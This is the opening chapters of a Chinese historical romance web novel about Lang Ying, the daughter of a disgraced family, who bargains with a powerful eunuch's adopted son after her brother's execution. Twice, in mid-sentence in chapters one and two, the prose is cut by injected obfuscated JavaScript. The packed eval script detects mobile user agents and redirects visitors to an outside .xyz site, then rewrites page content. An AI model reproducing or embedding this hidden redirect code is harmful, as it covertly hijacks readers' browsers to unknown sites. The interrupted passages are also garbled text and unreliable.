《纵我臣娇GB》 1. 笺书为凭 藏书阁围栏边，一支白羽箭迅疾地搭上小梢弓，坚韧的弓身霎时挽成满月，箭镞随着一小队人马移动。 为首的是一名身穿绿色贴里的宫廷内侍，他面色涨红，边在巷道走着边指着身后的宅院喋喋不休。 两侧身着青色圆领袍的小宦官在旁助阵，吊着尖细嗓音破口大骂：“智短酸儒，不识抬举。也不瞧瞧如今你们的样！做老子的被剥了官服，抬牌位的儿子被剥皮实草，我们大公子瞧得上你们郎家女，是你们前世磕头烧香求来的福气，竟推脱老祖宗给你们的恩典！且等着吃棒槌吧！” 箭镞的那一点先锁定内侍的心脏，再偏移至不停张合的嘴巴，捏住箭尾的右手三指一松。 内侍只觉一道风从嘴唇刮过，下一瞬，唇部裂开一道口子，血珠滴答落入脚下青石板，未及思量，如有神迹般，木门上长出了一支白羽箭，阻住了一行人的去路。 骂骂咧咧的话霎时蒸发，短暂的安静后，内侍捂住嘴巴瘫软在地，一旁的宦官及抬嫁妆的火红队伍顿时乱做一团。 “看！”小宦官顺着箭矢方向，指着藏书阁高声呼喊，“那有人！” 藏书阁上独立一人，隔着柳枝难辨姿容，只看到身形稳如磐石，墨发随意披散随风翩飞，脸是苍白的，袍子也是死白的，完全是一副刚从地府爬出来的模样，只有一双眸子红得滴血，锁定着巷道中的众人。 “不得命了！光天白日，郎家胆敢刺杀内廷宫人！”内侍腿软跌地不起，声音颤抖，“离家破人亡不远了！” 周围人拥在内侍身边，对郎家的咒骂愈加放肆狠毒。 一阵马蹄声在坐地叫骂的宦官们面前急停。 马背上身着玉色澜衫的年轻男子将鞭凌空一甩，巷道中霹雳炸响。 内侍吓得脖子一缩，连呜呜咽咽也不敢发出，只能捂住嘴巴抽噎。 一名小宦官爬起来，小跑至男子身边，跪地当踩凳，低声说：“大公子，郎家有歹人存心和老祖宗过不去，居然放冷箭……”小宦官感觉背上猛地一沉，仿佛脊梁都要踩断了，话只说出了半截。 黑色布鞋在青石板上立住，踩着小宦官的肩膀轻轻一蹬，小宦官如下了坡的乌龟，自觉滚到内侍身边求庇护。 “谁现在已经断气了，说话。”男子声量不高，却冰冷凝重地滑过在场众人的肌肤，激起一层战栗。 内侍抽噎举手：“大公子，我……差一点……就成了钩嘴的鱼了。” 巷道庞栽着的柳树枝条浮动，遮住男子相貌，只隐约察觉身姿挺拔，气场凌厉沉稳，细长的手指前伸，手掌摊开。 内侍见状抹了抹眼角的泪，手指搭上男子的掌心刹那，马鞭甩上内侍手背。 识相的小宦官将木门上的白羽箭用力拔下，欲呈给男子时，男子一把推开小宦官，上前半步，左手紧握，侧身一避，猛地抬头盯着藏书阁方向，手指松开时，一条血渍横贯掌心。 不多时，男子的手掌传来热辣辣的痛感，一阵又一阵的烘得心脏加速跳动。 第二道箭矢已铮然刺入木门上第一道箭的箭洞，箭身缚着信笺。 那双血红的眼睛，盯上了内廷司礼监掌印太监的义子——裴停云。 裴停反复握紧又松开左手，眉头微动，再次摊开手掌。 小宦官连忙将两支白羽箭恭敬置于其掌心：“大公子，请您过目。” 裴停云将箭身在手指中旋转，皆于箭尾处发现了莲花的印记，心下有了答案：“莲六郎……” 拆开信笺，十竹斋信笺上梅花的底纹自右向左旁逸斜出，遒枝曲折向上，未干的字迹如同梅花的底蕴，锋利有力度。 上书： 今日高楼箭，以笺书为凭。 君若仍有联姻之念，明日巳时，城南仰华楼竹林雅间，一晤决之。 不多时，一个尖细稚嫩的声音响起：“大公子应允。” 马鞭声起，一众内廷宦官随之低头安静离去。 “小姐！”被锁在阁楼内的小丫鬟拍打门柩，焦急得跺脚。 一朵云彩遮住了太阳，天空顿时阴了下来，映得郎瑛的眸光晦暗，她转身将阁楼打开。 “他们为人阴险狡诈，这次回去铁定想着法子报复回来。小姐你又何必上赶着吃亏呢？”小丫鬟冲出来，一把夺过郎瑛手中的缀着彩缎的小梢弓，“他们事后来对峙，我就这么把二郎君的弓拉给大家看，这箭是我射的！” “玉虹，你连毛笔都埋怨重，又怎么能拉开弓箭呢？”郎瑛看着小自己三岁的小女伴，双手怜惜地将她皱成一团的五官抚平展开，“你想让阿兄回家，入土为安吗？” 玉虹下意识点头，意识到什么后又连忙摇头，眼中逐渐蓄起了泪：“大郎君被陛下下诏……剥皮实草，百般冤屈，如今大概已被弃于乱葬岗，老爷连带罢免官职，就连二郎君也因目睹大郎君极刑而昏迷不醒。” “我本想着小姐自小与赵家郎君有婚约，赵家必定会护你一二，没成想，前天就遣人退婚。今日那些宦官又上门提亲，不论嫁与不嫁，以后，你以后该如何自处呢？”盯着面色憔悴的郎瑛，玉虹想着原本和睦一家现已支离破碎，顿觉悲从中来，流泪哽咽，“刚才你那两箭真要把我吓死了，我……不愿意……你也有不测，若你有三长两短，谁还以后教我写字。” “玉虹，你不是一向相信我命好吗？”郎瑛故作轻松地提起一丝苦笑，“我跟你打个赌好不好？太阳落山前，我一定安全无虞地将阿兄接回来。” 玉虹停止哽咽，眨巴眼。 想起方才裴停云抬眸肃杀的眼神，郎瑛脑海中蓦地浮现起国子监监生们私下对他的评语。 【狼身立人形，人面兽言声，笔走蟹横行，眼冷肠更冰。】 郎瑛心中发寒，紧紧拥抱着她。 * 巳时未至，六月骄阳已大发神威，炽烈的光线照得城南层叠如浪的幌子恹恹垂着。 天公作美，此时微风刮来一小片云彩，在仰华楼的位置投下阴影，酒楼鎏金招牌下，一个迎宾小倌汗珠滚滚落下，仰着头，双手合十对着太阳叽里咕噜。 忽然，小倌眼角多了一抹月色裙摆，扭头看去是一名戴着面纱挽着双髻的小丫鬟。 听到她嘴里吐出“竹林雅间”的名号，小倌微微瞪大了眼睛：“是您定的？” 小丫鬟径直往前走着。 “好客官，如今，这个包厢，有点难办了……有个贵客早来一步……”小倌感觉汗水堵在毛孔里，小碎步帮她带路，看着手里被塞了碎银子，连忙推回去，“这不是钱不钱的事。” 站在雅间前，她双手推开门扉，一股凉意自地砖蔓延至门槛，再密密地渗入裙底。 雅间中，翠色珠帘随着窗口的微风探入，微微晃动，珠玉碰撞间激起清脆乐响。 珠帘后的罗汉床上侧躺着一名男子，他的发髻簪水碧簪子，面容舒展俊朗，身着玄色道袍，闲逸地摇着纸扇，出尘得仿若夜幕中升起的一轮皎月。 床几上放着一碟墨汁以及几张信笺，信笺的页脚随着扇风轻轻舞动，欲振翅高飞。 站在一旁的小倌见此贵客姿容，燥热的心静了静，耳边恍惚听闻小丫鬟发话，回神说道：“这个贵客已先至，定了雅间。” 小丫鬟转身将碎银子推回小倌怀中，随即关门。 珠帘后的人似乎陷入假寐，对来人的动静一无所知。 小丫鬟转身瞬间，身后终于传来裴停云的轻言慢语：“郎家难道沦落到躲在荆钗裙摆后了？” “我郎瑛的婚事自有我做主。”她飒飒迈至窗口，自顾自在坐在禅椅上，手臂搁在身旁的香几上，一盏龙泉瓷炉袅袅冒着香气。 “原是郎家小姐。”炉中燃香的烟气忽然凌乱了一瞬，珠帘后的裴停云撩起眼眸，打量了一瞬，又轻闭上眼，“听闻府上近日变故，实在令人痛心。” 裴停云话里话外说着惋惜，表情和姿态却傲慢无礼：“郎伯父之事，若有需要，在下或可略尽绵薄之力。毕竟，若不是昨日郎伯父婉拒我的求亲，今日你我也不至于嫌隙到如此地步，竟不敢走入帘幕一步。” 郎瑛咣当一声将香筷投入箸瓶中：“裴大公子看到那封信笺，现下有何看法？” “昨日看到莲六郎的亲笔，恍若回到我与你二哥郎初同入国子监的那年。”裴停云顾左右而言他，“当年他的字迹虽略微跳脱，但已见风骨，昨日一观，真真感叹莲六郎郎初笔力大进。” 裴停云双指从床几拈了一张信笺，骨节分明的手指穿过绿幽幽的珠帘，邀请郎瑛一观。 郎瑛上前两步伸手取过时，笺尾那一端忽然被对方拉回，郎瑛臂腕不由向前一滞，手腕被他带入珠帘的另一端，紧接着，力量又紧急撤退，她似乎听到了微不可察地一声冷笑。 抖纸一阅，郎瑛踱回窗口，脸色在艳阳映照下愈加惨白，罗汉床边贮着黄花梨冰鉴，冷气丝丝缕缕钻入肌理。 裴停云随着她的目光，随口复述信笺字迹：“欲献吾妹，永结秦晋之好，务必助我兄脱冤。否则，必取尔义父掌印之命，舍身造反，鱼死网破。郎初绝笔。” 郎瑛手中的信笺字迹与昨日射出的信笺如初一辙，若不是墨迹未干、内容犯禁，她也细究不出差别。 她手指轻颤难抑，咬牙质问：“裴大公子，欲意何为！” “人证是昨天一众内廷宦官。物证——”裴停云收起扇子，扇柄遥遥一指，“就在你手里以及两支白羽箭。” 人证、物证聚在，纷纷指向郎家包藏祸心的最终结局。 可，郎家已不能再有任何波折了。 本朝自太祖起黄册十年一大造，赋税是一国根本，黄册则是根本的根基，册分上中下三等人户，登载每户丁口、事产、赋税，富贫有差，税收不同，如临河淘金，细筛入水，铄粒难逃。 今年恰逢造册驳查。 春三月，身为国子监监生的阿兄郎瞻奉命入贮藏黄册的后湖驳查。夏六月，当今陛下发布敕谕，郎瞻后湖罪欺朝廷，剥皮实草，以正典刑；父郎砚之，教子无方，罢去文渊阁编修之职，永不叙用。 一夜之间，郎家轰然崩塌，当同为监生的二哥郎初闻讯时，已为时晚矣，赶至刑场那刻，拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546734|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开人群，阿兄已白骨森森、模样凄惨。 郎瑛思及至此，头痛欲裂，肺腑仿若有一把火猛猛烧着，胃部一阵抽痛：“仅为报昨日拒婚之怨？果然如人所言……阁下睚眦必报。” “战国时，曾子母亲仅因人云亦云儿子杀人，便翻墙逃走避祸。”心胸忽感憋闷，扇柄挑开一帘春色，裴停云信步而来，面如冠玉，眸带怜悯，扇柄抬起她的下颚，“闺阁女子也曾听闻我的名声？” “更何况，眼下郎家是祸是福，如今由我说了算。”猝不及防间，裴停云挑下郎瑛脸上面纱，入目的是一张遍布褐斑的面容，见此不由得目光冷了几分，“郎初姿容出众，传闻郎家二郎、小女乃龙凤胎，今日一观，亦可知世人所言并非事事为真。” 郎瑛笑眼微弯，眸光愈发锐利：“恳请大公子指教，如何才能避祸迎福？” 空气中传来一声叹气。 裴停云满脸拢上略带伤感的忧愁：“自入国子监，便久闻你二哥舞剑、胡旋舞姿容绝冠，堪称‘舞急转如风莲如夏月开’，可惜无福一观。听闻，胡旋舞中有‘蹲舞’，要不一切从简——你二哥在我面前膝行。” 雅间窗外夏蝉疯鸣，吵得人脑仁胀痛，裴停云松开对郎瑛的桎梏，静静站在她面前，一道阴影笼罩在这个弱女子头顶。 老鼠，只有半死不活玩得才有趣。 郎家人，只有脊梁挺直又不得不弯，才看得痛快。 果然，这个女子螓首低垂，肩膀耸动，喉咙中的呜咽渐渐忍不住，在一声声蝉声的奏鸣中愈来愈响。 随着她手臂一推，前一刻还在吐露香气的龙泉瓷炉瞬间在地板上四分五裂，刹那间，浓郁的甜香冲击裴停云的面门。 郎瑛纵使提前服用甘草片、尽量待在风口，但仍遭不住迷香扑鼻，毫不犹豫，从发髻中拔下一支银簪，向自己的胳膊刺去，一朵小血花在裴停云的眼前绽放。 裴停云意识昏迷的瞬间，郎瑛朱唇轻启：“我与裴公子看人膝行的癖好不同，我更喜欢看人……” * 透过窗柩，日头已缓慢爬坡至中天。 郎瑛坐在禅椅上静默已一个时辰，手腕下压着信笺，血迹渗透纸背，干涸、发黑，与墨色纠缠不清。 黄花梨冰鉴凉气渐消，罗汉床上的人的额角渗出了细密的汗。 郎瑛起身捞起茶碗，手腕猛地一抛，猛地朝着帘幕后的罗汉床掷去。 白瓷炸裂，碎声刺耳，茶水混着茶叶泼溅开来，在榻上染开一片狼藉。 裴停云从死寂的黑暗中惊醒，双眼睁开迷蒙间，仿若看到一尊玉色观音双眸低垂，无波无澜地看着他，似窥探、似嘲笑、似乎……是郎家那个长着斑点的小女子！ 清醒瞬间，裴停云双臂支起上半身，与站在榻前的郎瑛面面相觑。 起身太快，裴停云仍感头部晕眩、喉间不适，手指抚上脖颈时，一道霹雳在脑中炸开。 不可置信地低头看去，除了腰胯遮了薄薄的锦绣凉缎外，浑身精光、□□。 裴停云双眉一轩，与郎瑛视线针锋：“有趣。生平第一次被女子轻薄，郎伯父真是好教导，竟敢用迷香暗算。” “不过是想与裴大公子达成一桩交易而已。” 裴停云手指轻敲罗汉床沿：“床上之事，只闻男子觊觎女子用强，头次见识到女子使阴招自毁清白。不知你这打算究竟是不是一桩赔本买卖？” “对于旁人，我这法子简直是蠢笨，但对于——裴大公子则不同。”郎瑛微微俯身，言辞温柔清晰拂过裴停云的耳廓，“床笫之事，坊间一直揣测掌印太监的义子是否能够一展雄风，对我这弱女子只会好奇。” 裴停云眸色低沉，隐有惊雷：“你待如何？” 郎瑛捏着床几上的瓷碗，高高举起：“当然极尽渲染裴大公子无用，空有皮囊，内里软、弱、不、堪，成全了坊间对你的各种揣测。” 话毕，瓷片落地四溅。 “客官！请问有吩咐？”雅间外传来小倌的声音。 裴停云怒意陡升，单手掐住郎瑛白皙的脖颈，压倒在榻上，咬牙切齿：“毒妇！” “彼此彼此。”郎瑛终是露出了一抹讥讽的笑意，“罪臣之女与权宦之子，也算般配。” “客官，是否需要进来替换瓷盏？”小倌敲了敲门，俨然大有推门而入的架势。 郎瑛好暇以待，眸光不动。 裴停云恨恨咬牙欲碎，对着小倌吼道：“滚！” 门柩外那道影子瞬间消失无踪。 裴停云加重了脖间的力道：“你要什么？” 郎瑛涨红着脸，艰难出声：“你和你义父的庇护，不仅是我，还有整个郎家，保住我二哥郎初的监生之位，毋使郎家再生波折。” 榻间，在雷与电的碰撞中，郎瑛面露坚强，但心中惴惴不安，预感一场蔓延二人的暴雨，即将倏忽而至。 裴停云思索片刻，笑了，眼里沁着毒液：“前日唐突，备下的薄礼实在失礼，还望小姐海涵。稍后，我就派人将聘礼送至府上。” “郎家，我护下了。” 2. 孤凄埂 枝叶晃动，窸窣的响动并未惊动围着圈埋头啃食的野狗，它们湿漉漉的嘴筒粘黏着骨屑，啃食尽兴处，发出抑制不住的低吼。 一双发红的眼睛目睹一切，透过野狗环伺似乎见证了另一场屠戮。 利齿化作刀尖，涎水化作烈酒，酒气呈血雾喷洒，极致的寂静后，人群猛地散开又涌上，争看传说中“兰君”郎瞻内里是否如外表千里挑一。郎瞻的眼睫如蝶翼猛烈颤动，最后一次瞪大了双眼，神采渐渐暗淡。 拥有同样双眸的郎瑛，现在将匕首高举过脑后，身体向后绷成弯弓，在狂躁的蝉鸣声中，刀刃在半空划过一道饱满的弧线，凌空劈去。 几声凄惨哀嚎，一只油光水滑的黑皮野狗淹没在血坑中没了动静，利齿上滴答落了粘腻黑血。 其余三条野狗轻跃几步，转身，狠厉的眼睛闪着撕咬猎物的兴奋，慢慢地，俯着血红的狗头，锁定目标，一步步靠近形单影只的少女。 只要阿兄在身边，她什么都不怕。 阿兄从不会让她有任何不测——即便他现在只是沤在血泊中的几截断骨。 郎瑛眼睛盯着恶狗的眼睛，微微俯下身，将自己放在它们的高度，才发觉这座乱葬岗起伏的草丛中，黑影交叠。 刀刃在裙摆用力一划，扯下布条，将匕首死死缠在掌心。 对峙片刻，绣鞋不仅寸步不让，反而步步紧逼，脚踩黑犬尸身，猛地踢至三条野狗附近。 趁着恶犬撤退时机，郎瑛努力控制紊乱的呼吸靠近断骨。 乱葬岗的野狗食肉、饮血为生，无一丝豢养顺从，匕首的压迫反而激发了骨子里狼的奸诈，趁着郎瑛低头，张开铁齿扑咬上去。 扑来的瞬间，郎瑛闻见近在鼻端的腥臭，浑身的力气涌至指尖，匕首呼啸劈砍，分别刺中脖颈、狗腹、颅顶，鲜血汩汩喷射，温的、腥的、臭的，染红了她素白的裙身。 她猜不透草丛中到底是食肉的野狗、路过的动物，还是心怀鬼胎的人。直到草丛中的影子消失，郎瑛才解除手握匕首攻击的姿势，绷紧的神经在拔高到极致时，稍一放松便全身瘫软，手指不停痉挛。 向北约三十步，一座座馒头似的土堆密密挨着，前扑后拥般注视着佝偻近乎贴地的背影，日头渐渐西斜，拉长的土堆影子恰好将郎瑛笼在一片阴凉下。 阿兄的残骨不多，精挑细选，才找到三根看得过去的骨头。 本性难移，阿兄就算离开了，也和平时一样，小气抠搜，酥糖限量、冰饮限量，现在连收尸也限量。 郎瑛侧着脸发呆，任由汗水自额头滚落至眼角，再洇入鬓发，最终将“阿兄”在臂弯处掂量：“怎么这么轻……” 这片京师乱葬岗，设在刑部、都察院、大理寺三法司刑场后的小山坡。国初，四大案发，刑场人头滚落如流水，凄厉声日夜不绝，刑罚严峻，世人恐收尸牵连避之不及，等尸骨堆得高了，刑部便择机拢在一起埋了。天长日久，义冢堆叠，吸引了不少野狗落户嗜血舔髓，人迹罕至。 三法司衙门前的太平堤，也因此被心有忌讳的百姓称之为“孤凄埂”，视作阴阳黄泉路。而太平堤的另一端通往大明禁地后湖黄册库的入口。 郎瑛回城走在太平堤的岔路口，瞧着后湖的方向，手指不由自主将臂弯中的包裹收紧，凌乱的发丝紧贴脏污的脸，汗水将周身打得湿透，像是站在一场雨里，隔着眼里的雾气看着三个月前的自己从马车上跳下，手里捧着刚折的一束碧绿的柳枝，立在太平堤上等了许久，终于盼着远处有两个黑点渐渐近了。 马蹄声在太平堤上慢悠悠响着，不骄不躁，仿佛是来此踏青，马背上两名容貌俊秀的男子远看郎瑛一眼，笑着对视，手指轻勒缰绳，马匹走得愈加慢了。 马匹走近了，发现这抹玉色倚靠柳树立在春风中，如水墨丹青，虚虚实实，似梦似幻。柳树枝叶招摇，扮作发间翠绿流苏，在如瀑墨发与玫瑰色脸庞间起落，掩不住一双温柔明眸。 栗色骏马忽然一滞，马背上人忽然觉得耳中鸣蝉声响，叫得心脏腾腾直跳，手心出汗，不由得双腿夹紧马腹，快马上前。 “泽芝——说好了，让茶团多等我们片刻，你又让我做坏人！”另一人抱怨出声，却也暗中较劲，马蹄声渐急。 出乎意料，见着阿兄郎瞻身旁还有未婚夫赵世衡，郎瑛顿时有点羞赧，连忙提起裙摆，钻进马车，拉下青色帷幕，不自觉地薅着手中的柳枝。 不一会儿，马车外，马蹄声近在咫尺，忽然停了。 一个剪影映在帷幕，静静地留守，熟悉的阿兄声音响起。 几月不见，阿兄依旧待她如孩童，哄唱着：“小茶团上车台，偷饼吃下不来。阿兄阿兄来啦，叽里咕噜滚下来。” “没有偷吃，才不滚下来！”郎瑛听出阿兄的打趣，掀了帷幕，将手心团成一团的柳叶抛出去。 叶片纷纷扬扬。 两双眼睛错愕相对。 帷幕后是当朝新晋户部侍郎赵世衡，他的眉眼闪过片刻讶异，看着面色通红的未婚妻，嘴角微微上扬，柔情爬上眉梢，忍不住想低头轻笑，生生抑住，但仍装作一副克己复礼模样，恭谨地下马作揖，余光瞥见郎瑛鬓角一片翠叶，手指紧紧蜷缩在手心，挣扎犹豫间最终任由春风卷走。 郎瑛忙不迭欲下车行礼，脸颊忽然感觉一抹冰凉，手中多了盒羊脂白和田玉胭脂，触手温润，沁着暖意。 赵世衡盯了郎瑛脸颊一瞬，又错过目光对郎瞻道：“清宴，你平时就这么戏弄茶团的？” 郎瑛抬手往颊边一拭，指腹便沾上一抹浓艳胭脂，罪魁祸首便是在车辕处笑吟吟的阿兄。 阿兄故作好奇地追问：“茶团，怎么脸红了？刚才在车上吃的不是饼，是酒吧？” 光秃秃柳条被郎瑛使了点蛮力塞进阿兄手中。 “阿兄错了，不该戏弄茶团，现在喝什么酒啊？要喝……”阿兄眼神飘向赵世衡，“要喝也得今年秋天，挖出爹在你出生那年埋下的女儿红啊。” 闻言，郎瑛彻底修红了脸，瞟了一眼未婚夫婿，想顶嘴又没说辞，干脆又将胭脂盒扔进阿兄手中，气呼呼地转过脸去，不发一言。 “茶团，看阿兄……” 郎瑛觑着眼看，阿兄背过身去，双臂向她打开，双手轻拍。 自母亲因生她与二哥而难产离世后，六岁的阿兄便前胸后背驮着两个只会啼哭的神兽，仿着记忆中母亲温柔的模样，抚着弟妹的发顶，一起依偎着长大。 春去秋来十七年的回忆在脑中浮现，暖流自心头淌过，郎瑛噗嗤笑出声，双臂圈住阿兄的脖颈，将自己所有的重量叠在他的背上。 “嗷~~小老虎出山。”阿兄粗着嗓音，扮做憨态大熊，蹒跚走至赵世衡身边，“人，这小老虎最近肥了几斤，你家还收吗？她缺点是食量大、力气大、脾气差。优点是吃相有福气、力可搬山、气可盖世。” 赵世衡终是绷不住严肃的假象，笑得酣畅：“熊，太不地道，这哪里是小老虎，明明是偷吃胭脂的花猫。” 郎瑛简直想找个地缝钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546735|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去，双手捶着阿兄的肩膀落地，胡乱擦着脸颊：“一熊一人也太霸道了。” 后湖检阅堂的黑漆府门缓缓洞开，阿兄抬眼望去，见远处已有监生三三两两朝此赶来。他心知时辰将至，当即敛起方才嬉笑的神色，自袖中抽出帕子，微微俯身替郎瑛细细拭去颊边残留的胭脂痕。 阿兄目光专注，轻声道：“几月不见，茶团倒是丰润了些，气色也好。你二哥若看见定要欣慰的。” “我今早还以为龙团也会来呢。”郎瑛心中嘀咕，没想到来的是未婚夫婿。 阿兄轻捏郎瑛的鼻尖，佯嗔道：“没大没小，得叫二哥。”顿了顿，又轻叹，“他本是预备来的……谁知刚出门便被李家的小厮瞧见，吓得转身又缩回国子监，死活不肯再路面。若哪日他能改了那乱抛眼风的习惯，我们家也能得片刻太平了。” 郎瑛对此早已见怪不怪，二哥郎初名扬京城，却并非因才学卓著，而是一副清绝殊丽的好皮囊，更兼言辞温软、眼波含情的动人天赋。 二哥自入学起便引得倾慕者络绎不绝，听闻其中，高门贵女有之，风月佳人有之，龙阳之士……亦有之。 “阿兄，听说黄册十年一驳查，事关社稷，后湖内法度森严、规条苛细，加之暑热蒸腾、蚊蝇肆虐，入内一遭便似脱去一层皮。”郎瑛一面说着，一面从车厢中奋力拖出三个硕大的包袱，“这些阿兄统统都带上，若还短缺什么，定要捎信与我，我即刻送来。” “茶团，里面一切完备，这些用不到的。”阿兄一瞬不瞬地望着郎瑛，“待四个月的黄册驳查结束，我只盼着两件事，一件是背着你出阁上花轿。一件是去地方赴任。” 想着关于后湖传闻，郎瑛越发心疼阿兄，仿佛已看见四个月后阿兄面色灰败、瘦骨嶙峋的模样。不由得眼圈渐渐红了，她低声对赵世衡说道：“哥哥，你劝劝阿兄啊，这些包裹怎能不带呢？” 赵世衡轻摇头，目光温和却带着几分无奈：“茶团，后湖规制森严，除却日常衣物，余者禁止夹带。”他稍作停顿，语气转为宽慰，“后湖管事官员是户部侍郎陈续，与我乃是同部之谊。他为人仁厚，体恤下情，后湖有陈续，大可安心。” 看到由自己拉扯长大的小娃娃，今日因忧心他而双眼红得像兔眼，郎瞻不由得一阵恍惚，仿佛看到白胖小粗腿的娃娃深一脚浅一脚向他跑来，笑着流口水，说出了第一句话“啊，熊，糖”，他当时一把将她高高抱起，欣喜若狂地朝四下喊道：“茶团会说话了！她在叫我呢！” 今日不知为何，心中总泛着酸意，郎瞻暗自失笑，分明只是如往常一般的数月之别罢了。 郎瞻凑近，指尖轻点身旁那位俊朗人物，温声笑道：“如今哭早了，待今秋出阁那日，阿兄背你上轿时，你再对着他哭也不迟。” 见未婚妻仍是蹙眉不展，赵世衡敛容正色，沉声道：“我以户部左侍郎之职向郎家小女郎瑛立誓，待驳查黄册事毕，诸监生连同你阿兄，定完璧而归。” 誓言掷地有声，心中的不安彻底消散，郎家小女红着的眼圈未褪，双腮又浮起羞红，偷偷看着眼前的未婚夫婿。 赵家郎君天资出众，年少登科，状元及第，而今于户部观政历练，一身清贵之气，宛若玉树临风。更难得的是，郎赵两家自幼定下姻亲，二人青梅竹马，情笃至深。 得配这般良人，教人如何能不心生欢喜，心向往之。 郎瑛终于展笑，入了马车车厢，放下帷幕的一瞬，瞧见阿兄走入了监生人群中，步脚轻快，未回首。 3. 花期误 阿兄的身影仿若还在眼前，抱着骸骨的郎瑛疯迷地向前追赶，趔趄着扑了空，脑中的弦“嘣”的一声断开，周遭的一切都是极致的静谧，只有她破碎难平的喘息。 迷迷糊糊中，仿佛已走如城内，听闻有人呼喊她，一声比一声大，一次比一次焦急，直到自己被锁进了一个怀抱。 四和香的清苦气息萦绕鼻端，那是阿兄身上惯有的味道，郎瑛恍惚的神志渐渐清明，原本微颤的身子也逐渐安稳下来，耳畔鼓乐笙箫欢快入耳，一切仿佛自梦魇挣脱，终于重返人间。 “郎瑛！看着我！！” 她抬起头，正对上赵世衡惊惶的双眼，他一遍遍唤着她的名字，指尖微颤地将她紧紧箍住，仿佛稍一松手，她便会消失不见。 见怀中人有了反应，赵世衡稍安的心却在看清她眼神的那刻，再度狠狠揪紧，郎瑛生寒的眼睛燃烧着被抑制的怒火。 两人都沉默着，身后的喜乐也逐渐停了下来。 老管家见状，面色焦急，踌躇片刻，仍是上前低声催促：“公子，吉时要误了。” 赵世衡置若罔闻，将披在郎瑛身上的蓝色圆领袍妥帖围好，取出帕子，极轻柔地拭去郎瑛脸上的血污，渐渐露出一张白皙莹润的面庞，如璞玉初现，温润生光。 往昔的笑靥，已烟消云散。 心头如重石压迫，喉头酝酿半天，赵世衡声音艰涩：“你阿兄……是我对不住。陛下刚发诏令，拨二百名监生入后湖驳查，你二哥郎初亦在内，且放心，我会上书陈情，勾画掉名字，保他安然无恙。” 郎瑛将视线投向他，轻声慢语，仿佛是在安慰，却字字如刃：“我找到阿兄了，就在一大摊野狗争食得烂泥里，阿兄给我留了几根念想。他这样……不算孤魂野鬼吧？” 这一番话，刺得赵世衡心中一片彻寒。 晚霞余晖已显，老管家还欲再劝，却被赵世衡厉声喝退：“回去禀告老夫人，我此生认定的妻唯有郎瑛。若她再逼迫，我终身不娶。” 郎瑛退后一步，瞧见彩帛金珠的定聘队伍绵延不绝，这声势放在京中也是鲜少得见，可惜，这份喧闹繁华，早已与她无关。 “赵侍郎。”郎瑛忽然仰起脸，唇角漾开一抹自顾自的笑，“你得帮我。” 就当你另娶他人的赔罪吧。 * 郎宅前一片死寂，赵世衡站在昏暗的灯笼下，挺直的身姿已有些许倦怠，郎瑛先前提出那般请求，得他应允后，便体力不支晕去，包裹紧护于怀中。 私收罪尸，况且是圣上谕旨剥皮实草的极刑，若追究起来，乃是会牵连本家的罪责，罪名可大可小，依照郎家如今的情势，岌岌可危。 赵世衡二十五年来人生顺遂，鲜少经历磋磨。然而此刻，若是能够为郎府为郎瑛庇护一二，剥掉这身官袍也未为不可。 “赵大人，小姐已无大碍，切勿挂念。”门丁见之不忍，开了一条门缝，劝道，“我家老爷说，风有约，花期误，何必为罪臣之女所累……往日婚约，便当作云烟散了吧。愿公子另择良缘，昭昭如愿，岁岁安澜。” 直至门扉紧闭，赵世衡仍立在那里，忽感更深露重，向额头抹去，温热的烛蜡在指尖凝结，红得仿若鸽子血。一缕白烟从灯笼上袅袅上升，他所坚守的方寸之地，彻底陷入黑暗。 郎家内宅中灯火通明，一只骨节分明的手在半空稍滞，终是挥下藤条，带着风声狠狠抽向跪地的郎瑛。 郎瑛痛得吸气，猛然抬头：“爹爹！女儿何错之有？” “你为何非要接你……阿兄回来？”三日之间，向来儒雅端方的郎砚之已是鬓发半白，眼眶浮肿，神色枯槁，“你可知若被有心之人大做文章，会有什么后果！” “今日踏出家门的那一刻，女儿便已抱定决心。”郎瑛执拗地挺直脊背，跪姿如松，“天大的事，不过一死而已。” 又一鞭凌厉挥落，她咬牙硬受，肩头衣衫渐渗淡红。 “你又为何私自乔装出门，竟与宦官义子私定姻缘，他们是何等面目人物，你又能明白多少！你阿兄已去，你二哥昏迷不醒……难道还要为父再失去一个女儿吗？”郎砚之悲声嘶哑，拍案低吼，“我不能让你们再出一点点事了。” “难道爹爹就忍心阿兄蒙受冤屈、惨死荒野、无处昭雪、无家可归吗？”郎瑛悲愤质问，“世人常言善行结善果，阿兄收容孤幼、赈济贫老、为民请命，被百姓敬称‘兰君’。可下场呢？死无全尸、恶犬蚕食。” “京城私下传议，郎瞻行刑后，后湖这几日辰时湖水发红如血，直至巳时消散，日日如此。”郎瑛膝行几步，拿起藤条，奉给爹爹，“刑部、大理寺仅一日便认定监生郎瞻后湖黄册舞弊。如此仓促，女儿不得不怨恨，这就是公道法理吗？” “太子进言尚被陛下斥责，一介闺中女子又能如何？”郎砚之夺过藤条扔至一旁，眼中泪光浮动。 “聘礼他们也应该送上门了吧？”郎瑛取过藤条，再次放在爹爹颤抖的掌中。 听到这里，郎砚之身型不稳，心里苦意更甚。 那所谓送上门的所谓的聘礼，不过是一坛酒、一匹粗布、一对木梳而已，羞辱的意图再明显不过。 